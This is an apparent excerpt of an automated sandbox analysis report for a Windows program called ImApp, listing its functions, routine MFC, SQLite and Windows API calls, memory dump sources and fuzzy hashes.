Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1194#679ClearVariant
String ID:
API String ID: 2749913218-0
Opcode ID: c9f81b61b87b76f7e2e7242fe856842c033486351a9451b90f5c98f83514981b
Instruction ID: 45ffef845470a6433de9de8e01b8994fd59489ee3513328d6da819684ee31ea2
Opcode Fuzzy Hash: c9f81b61b87b76f7e2e7242fe856842c033486351a9451b90f5c98f83514981b
Instruction Fuzzy Hash: F5219171608740AFC318EB14C884B8BB7E4FF88714F508A1EF49687390DB38D884CB96

Function 00416700 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

#1322.IMUTILSU(00003AA8,?,FC8A6036,?,?,?,00420752,000000FF), ref: 00416785
#3928.MFC80U(FC8A6036,?,?,?,00420752,000000FF), ref: 00416795
#774.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,00420752,000000FF), ref: 004167D4
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,00420752,000000FF), ref: 004167E3
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,00420752,000000FF), ref: 004167F5

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #578$#1322#3928#774
String ID:
API String ID: 847003609-0
Opcode ID: 34cd6ad224a4e97fe9335a4128ea4e2afbba393140240f212c9a439a798eac61
Instruction ID: 28bf5f8cc5b3a73e40a97e7443f41ef1999a780f754958a903cd5371b3b4a1f7
Opcode Fuzzy Hash: 34cd6ad224a4e97fe9335a4128ea4e2afbba393140240f212c9a439a798eac61
Instruction Fuzzy Hash: E8219372244740AFD314DB14D845FA7B7E8FB85714F840A2EF4AA822C0DB78AA45CB57

Function 00415150 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00414580: #679.IMUTILSU(004247D4,00000000,00000015,004247A4,?), ref: 004145A7

#6735.MFC80U(?,FC8A6036), ref: 004151C1
#1441.IMUTILSU(?), ref: 004151D4
#1355.IMUTILSU(00000001,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00420401), ref: 004151EA
#83.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,?,00420401,000000FF), ref: 00415203
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,00420401,000000FF), ref: 00415214

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1355#1441#578#6735#679
String ID:
API String ID: 3398232164-0
Opcode ID: c6c980ba5ec266d4b725c4f5dd35eaf725b2fdd48b244446b8fed3f20a461d1c
Instruction ID: e21c6a82861727c3509333d1ab34cc6f039e6df187ced913d671bc878e001750
Opcode Fuzzy Hash: c6c980ba5ec266d4b725c4f5dd35eaf725b2fdd48b244446b8fed3f20a461d1c
Instruction Fuzzy Hash: BB217E72208341AFC310DF64D881A9BB7E8FBC8724F540E2EF19197291DB74A949CB56

Function 020D27D0 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

#774.MFC80U(?,?,00000000), ref: 020D2804

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #774
String ID:
API String ID: 55867480-0
Opcode ID: 6b044545464981123e4566388985b41a10c4e2c9edcf250faf9403f142e137fa
Instruction ID: 9f792d8c2e978d3d67109a0d1f2f9144a4d575ba53e956ce4764addb97962af9
Opcode Fuzzy Hash: 6b044545464981123e4566388985b41a10c4e2c9edcf250faf9403f142e137fa
Instruction Fuzzy Hash: 4E112736686304DF8751EF58A0C469AFB94FFD5225F04846BED9883601C722A829E7E2

Function 00403D30 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00403D54
#314.MFC80U(00000000,FC8A6036), ref: 00403D5E
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0041DD38,000000FF), ref: 00403D98
#1056.IMUTILSU(?,FC8A6036), ref: 00403DD5
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DD38), ref: 00403E01

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #6751$#1056#1067#314
String ID:
API String ID: 3150892266-0
Opcode ID: 758b18098925abee6bfb32bca67313ea4f12f3225336d645882cdfa47826a503
Instruction ID: 9d661cccc11f161ffa3c19f4c95c6e1fcc828e22bd5f8e3c0c6a0c6d0c15e434
Opcode Fuzzy Hash: 758b18098925abee6bfb32bca67313ea4f12f3225336d645882cdfa47826a503
Instruction Fuzzy Hash: 64214671608741AFC314EF28D841B6BBBE5FB84724F008A1EF49597390DB38D944CBAA

Function 10006AD0 Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

#20.IMDBU(DC7F1836), ref: 10006AF8
#12.IMDBU(?,?,?), ref: 10006B14
#1176.MFC80U(?,?,?), ref: 10006B6B
#17.IMDBU(?,?,?), ref: 10006B79
#16.IMDBU(?,?,?), ref: 10006B8A

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1176
String ID:
API String ID: 1925220103-0
Opcode ID: d0c8533f0757a549645b67b2c1f682ad991cb8690d08b7b76a6c443a850a65e8
Instruction ID: 35021000a6202c890d9308f4ae0dd342922e5dacd8135cf67a483a1f0c48a26b
Opcode Fuzzy Hash: d0c8533f0757a549645b67b2c1f682ad991cb8690d08b7b76a6c443a850a65e8
Instruction Fuzzy Hash: EF2119B65087019FE314CF18C990B5BB3E5FB88790F218A1DE591CB2A5DB34EC44CB82

Function 10006BB0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

#20.IMDBU(DC7F1836), ref: 10006BD8
#12.IMDBU(?,?,?), ref: 10006BF4
#1176.MFC80U(?,?,?), ref: 10006C46
#17.IMDBU(?,?,?), ref: 10006C54
#16.IMDBU(?,?,?), ref: 10006C65

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1176
String ID:
API String ID: 1925220103-0
Opcode ID: 361423bb31700a9999e607587bbd7c60429dc31b61e04d92f5dad0ab0a8aa221
Instruction ID: fad8bc20034f3cf3d3b5612bcfe7bdcc02f5cca61df8f962505271a4da7efa75
Opcode Fuzzy Hash: 361423bb31700a9999e607587bbd7c60429dc31b61e04d92f5dad0ab0a8aa221
Instruction Fuzzy Hash: 6F212975608A019FE304DF18CD90F6BB7E5EB98790F218A1DF49687295DB34EC44CB82

Function 020E8AE0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 020E92C0: #1472.MFC80U(?,?,?,020E8BD3,?,?,?,265105E4,?,00000000,?), ref: 020E92D6

_invalid_parameter_noinfo.MSVCR80(265105E4,00000000,?,?,?,?,00000000,020ED713,000000FF,020E8907), ref: 020E8B17
#1472.MFC80U(00000000,265105E4,00000000,?,?,?,?,00000000,020ED713,000000FF,020E8907), ref: 020E8B28
#578.MFC80U(?,00000000,?,?), ref: 020E8B72
_invalid_parameter_noinfo.MSVCR80(?,?), ref: 020E8B7C
_invalid_parameter_noinfo.MSVCR80(?,?), ref: 020E8B87

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#1472$#578
String ID:
API String ID: 1768515969-0
Opcode ID: da8e6af6f2481ab19adbc80ec1e1e38ea4264d5e5a8710154531b4f34d177ca9
Instruction ID: b337880e8dec712592593d4e783581b59e3894592051ff1b9f43c0b709899ee2
Opcode Fuzzy Hash: da8e6af6f2481ab19adbc80ec1e1e38ea4264d5e5a8710154531b4f34d177ca9
Instruction Fuzzy Hash: E711ACB66447009FCB11DF28C884B5BBBF9FBC8364F048A1DF95A93250E734A845CAA1

Function 00403E20 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00403E43
#314.MFC80U(00000000,FC8A6036), ref: 00403E4D
#781.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,0041DD68,000000FF), ref: 00403E66
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0041DD68,000000FF), ref: 00403E94
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0041DD68,000000FF), ref: 00403ED2

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #6751$#1067#314#781
String ID:
API String ID: 923710884-0
Opcode ID: 13e86165b60d12e1f40492ed3b692fa1114ed8970c64488e1cf91ec93af126d9
Instruction ID: 2038d1d5835ff99aa4d4dfdc43b9226a2260ace029eef6bc33fe5727ccf955bc
Opcode Fuzzy Hash: 13e86165b60d12e1f40492ed3b692fa1114ed8970c64488e1cf91ec93af126d9
Instruction Fuzzy Hash: 532127B12087419FD314DF15C941B5BBBE4EB84B24F048A2EF4A4973D0DB38D945CBA6

Function 0040BBB0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

#764.MFC80U ref: 0040BBCF
#764.MFC80U(00000000), ref: 0040BBE3
free.MSVCR80 ref: 0040BC00
free.MSVCR80 ref: 0040BC13
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 0040BC36

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #764free$ExceptionRaise
String ID:
API String ID: 525599788-0
Opcode ID: 4975715a0c040fc259ec2eb620fc5ce26c91ec58fefe158c7e9c73a3a7456d2f
Instruction ID: 6ed7a9e7c5a5c8763d1d1ce3a9eddb6255dfae9f3d61c1b3d9f4c3a92c577e5b
Opcode Fuzzy Hash: 4975715a0c040fc259ec2eb620fc5ce26c91ec58fefe158c7e9c73a3a7456d2f
Instruction Fuzzy Hash: 9201A1716046019BE630DF5ADD81B07B3E5EF80704F118C3EE59AA7680DB78F8818ADE

Function 00403490 Relevance: 7.6, APIs: 5, Instructions: 52windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 004034B4
#314.MFC80U(00000000,FC8A6036), ref: 004034BE
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,0041DBE8,000000FF), ref: 004034F9
PostMessageW.USER32(?,000080A2,?,00000000), ref: 0040350A
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0041DBE8,000000FF), ref: 00403535

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751MessagePost
String ID:
API String ID: 3358365602-0
Opcode ID: 09af59825dce85d6a2cb80e0997e8b9b5d1b239054d99bf8cae09341ef9c06ba
Instruction ID: 4844b468ae35887a039415a9df747e85bd9e71d616617b9d38d1e76307e88797
Opcode Fuzzy Hash: 09af59825dce85d6a2cb80e0997e8b9b5d1b239054d99bf8cae09341ef9c06ba
Instruction Fuzzy Hash: 03114774608341AFC314DF28C945B9BBBE4FB88724F048A2EB499973A1C738E440CB96

Function 004047F0 Relevance: 7.6, APIs: 5, Instructions: 50windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404813
#314.MFC80U(00000000,FC8A6036), ref: 0040481D
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,0041DFA8,000000FF), ref: 0040483D
SendMessageW.USER32(?,0000808D,?,?), ref: 0040485C
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,0041DFA8,000000FF), ref: 00404887

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751MessageSend
String ID:
API String ID: 903201250-0
Opcode ID: e02867a423fc83f3352e880e424ad5ff0f934db765c3125ef5a9469fe7c24db0
Instruction ID: b94b7782a061dbc84528e99e68cf81960430095381b111ec98417d8bf342c129
Opcode Fuzzy Hash: e02867a423fc83f3352e880e424ad5ff0f934db765c3125ef5a9469fe7c24db0
Instruction Fuzzy Hash: FC1146B46082009FD308EF29C945B6BB7E4EB84714F008A1EF496972D1CB78D845CBA6

Function 020E6B80 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

#572.MFC80U(265105E4,?,?,?,020EB500,000000FF,020E7DB0,?,265105E4), ref: 020E6BA8
#5.IMLOOKEXU(265105E4,?,?,?,020EB500,000000FF,020E7DB0,?,265105E4), ref: 020E6BBC
#310.MFC80U(265105E4,?,?,?,020EB500), ref: 020E6BCC
#1559.IMLOOKU(?,?,?,020EB500), ref: 020E6BDD
SetRectEmpty.USER32 ref: 020E6C36

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #1559#310#572EmptyRect
String ID:
API String ID: 4269427725-0
Opcode ID: 0057124f34620141412946debdc8219c7b73e87f22558e4ab9b5661e249c3493
Instruction ID: 6e6c59756bd78a60b33abecb6bb458790765413d2d0ab8cdad5dc822fb809a9c
Opcode Fuzzy Hash: 0057124f34620141412946debdc8219c7b73e87f22558e4ab9b5661e249c3493
Instruction Fuzzy Hash: CF2159B5605B408FD320CF28D94479BFBE5FF84724F008A1EE5AB83680DB74A508CB96

Function 10003C30 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,DC7F1836,?,?,?,?,1000AE58,000000FF), ref: 10003C61
ResetEvent.KERNEL32(?,DC7F1836,?,?,?,?,1000AE58,000000FF), ref: 10003C79
ResetEvent.KERNEL32(00000340,?,?,?,?,1000AE58,000000FF), ref: 10003C82
sqlite3_close.SQLITE3(?,?,?,?,?,1000AE58,000000FF), ref: 10003C90
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,000000FF), ref: 10003CA6

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalEventResetSection$EnterLeavesqlite3_close
String ID:
API String ID: 3159928909-0
Opcode ID: 498fe5b1399268741ba56cf1f84bf1d1b00214031ee68a38beb361806d95436e
Instruction ID: 6f9efb7e7e1a2044d0a0b15db1921710be30bb51461e192b5a9fea23e29a465c
Opcode Fuzzy Hash: 498fe5b1399268741ba56cf1f84bf1d1b00214031ee68a38beb361806d95436e
Instruction Fuzzy Hash: 430169BA904B509FE310DB28CC84E57B7E8EB88660F008A1DF456837A4DB74E804CB91

Function 00404610 Relevance: 7.5, APIs: 5, Instructions: 46windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404633
#314.MFC80U(00000000,FC8A6036), ref: 0040463D
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,0041DF18,000000FF), ref: 0040464A
SendMessageW.USER32(?,00008088,00000000,00000000), ref: 0040465C
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,0041DF18,000000FF), ref: 0040469A

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751MessageSend
String ID:
API String ID: 903201250-0
Opcode ID: ac12b4c11e2ba7177d91ebc298b85f9c6e213a33a10ecc4192119848e697d8c8
Instruction ID: b617e82870bd48f8d5824144a1ad0c8f1ab89bd161f086d8ad667476fc7892f7
Opcode Fuzzy Hash: ac12b4c11e2ba7177d91ebc298b85f9c6e213a33a10ecc4192119848e697d8c8
Instruction Fuzzy Hash: 1E1127B1248701AFD314EF29C945F5BB7E4FB84B14F048A2DB0959B2D1DB78D805CBA6

Function 00419A30 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

#310.MFC80U(FC8A6036,?,?,?,?,00420E39,000000FF), ref: 00419A59
#1322.IMUTILSU(00003AD9,?,?,?,?,?,00420E39,000000FF), ref: 00419A79
#3391.MFC80U(?), ref: 00419A86
#2311.MFC80U(?,00000000), ref: 00419A94
#578.MFC80U(?,?,?,?,00420E39,000000FF), ref: 00419AB2

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1322#2311#310#3391#578
String ID:
API String ID: 1975047823-0
Opcode ID: 288480afb9f037218e840b17fe1af6b1947a0dc2dc5d49c142b23dd742c3336d
Instruction ID: 4b6d2cc1bffe61b0773fb8f3c32234c41606ef6301d95f9871535ab949697826
Opcode Fuzzy Hash: 288480afb9f037218e840b17fe1af6b1947a0dc2dc5d49c142b23dd742c3336d
Instruction Fuzzy Hash: 870196B6204740AFC315EF14DC55B9BB7A8FF94720F504A2EF466832D0DB749909CBA5

Function 10001A00 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000002,?,?,?,?,?,10001631), ref: 10001A10
TlsSetValue.KERNEL32(00000002,00000000,?,?,?,?,?,10001631), ref: 10001A5C

Part of subcall function 10002EB0: #310.MFC80U(DC7F1836,80004005,?,00000000), ref: 10002EF4
Part of subcall function 10002EB0: sqlite3_finalize.SQLITE3(?,?,?,?,?,00000000), ref: 10002F21
Part of subcall function 10002EB0: #578.MFC80U ref: 10002F35

Part of subcall function 10002F60: _invalid_parameter_noinfo.MSVCR80(?,00000000,?,10001A2C,?,?,?,?,?,10001631), ref: 10002F83
Part of subcall function 10002F60: #764.MFC80U(00000000,?,00000000,?,10001A2C,?,?,?,?,?,10001631), ref: 10002F89
Part of subcall function 10002F60: _invalid_parameter_noinfo.MSVCR80(?,00000000,?,10001A2C,?,?,?,?,?,10001631), ref: 10002F97

sqlite3_close.SQLITE3(?,?,?,?,?,?,10001631), ref: 10001A30
#49.IMDBU(00000000), ref: 10001A3B

Part of subcall function 10007710: #762.MFC80U(0000002C,DC7F1836,?,00000000,1000B2EB,000000FF,10001A40,00000000), ref: 1000773C

Part of subcall function 100076A0: #548.MFC80U(0000000C,00000001,DC7F1836,000000FF,10001A47,00000000), ref: 100076CD
Part of subcall function 100076A0: #6201.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000B52A,000000FF), ref: 100076F1

Part of subcall function 10001420: DeleteCriticalSection.KERNEL32(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000B52A), ref: 1000145B
Part of subcall function 10001420: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000B52A), ref: 10001465

#764.MFC80U(00000000,00000000,00000000), ref: 10001A4E

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #764Value_invalid_parameter_noinfo$#310#548#578#6201#762CloseCriticalDeleteHandleSectionsqlite3_closesqlite3_finalize
String ID:
API String ID: 2404575215-0
Opcode ID: 8d0073bc4cb672a614fa74b92ec52f7135faaa733e2250b4e19f2b1b31acd7ae
Instruction ID: e93f70d37e91fd8fef8239d9f6ca7de3a74f486ef6c6bd2448d6bdddc200cb48
Opcode Fuzzy Hash: 8d0073bc4cb672a614fa74b92ec52f7135faaa733e2250b4e19f2b1b31acd7ae
Instruction Fuzzy Hash: 9FF0C2BA6002046BF704DBB4DC86E5B739DDF842D0B508539FA0A9720AEE35FC048661

Function 00404570 Relevance: 7.5, APIs: 5, Instructions: 44windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404593
#314.MFC80U(00000000,FC8A6036), ref: 0040459D
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,0041DEE8,000000FF), ref: 004045AA
SendMessageW.USER32(?,0000808D,?), ref: 004045C7
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0041DEE8,000000FF), ref: 004045F2

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

